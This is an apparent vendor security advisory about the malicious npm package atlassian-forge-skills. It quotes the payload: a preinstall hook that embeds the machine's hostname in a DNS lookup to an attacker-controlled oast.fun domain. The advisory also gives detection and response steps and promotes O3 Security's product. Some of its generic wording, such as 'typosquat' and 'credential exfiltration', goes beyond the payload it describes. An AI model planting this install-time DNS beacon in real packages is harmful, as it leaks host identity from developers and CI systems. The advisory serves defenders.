atlassian-forge-skillsnpm
atlassian-forge-skills is a confirmed malicious npm package (MAL-2026-5891) that typosquats a legitimate package to trick installs (malicious version 29.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in atlassian-forge-skills (npm)
What this malware does
Package impersonates an internal Atlassian Forge dependency (unscoped name atlassian-forge-skills, description 'Internal package', generic author 'Team'). package.json declares "preinstall": "node index.js", which fires automatically on npm install. index.js lines 6-8 read os.hostname() and embed it as a subdomain of a hardcoded interactsh OAST receiver: const targetDomain = ${hostname}.zcagyqqmvnmgsklstrrr6xo2715tov7wz.oast.fun; dns.lookup(targetDomain, () => {});. The DNS lookup is sufficient to leak the installer's hostname to the attacker-controlled oast.fun DNS server — the canonical dependency-confusion payload, where any developer or CI pipeline that mistakenly resolves an internal Atlassian package name to this public registry entry exposes host identity for follow-on targeting.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for atlassian-forge-skills (version 29.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging atlassian-forge-skills across your stack and pipelines.
If you installed it — respond
atlassian-forge-skills is a typosquat — you almost certainly intended a legitimately-named package. Remove atlassian-forge-skills, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If atlassian-forge-skills was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks atlassian-forge-skills before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks atlassian-forge-skills-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.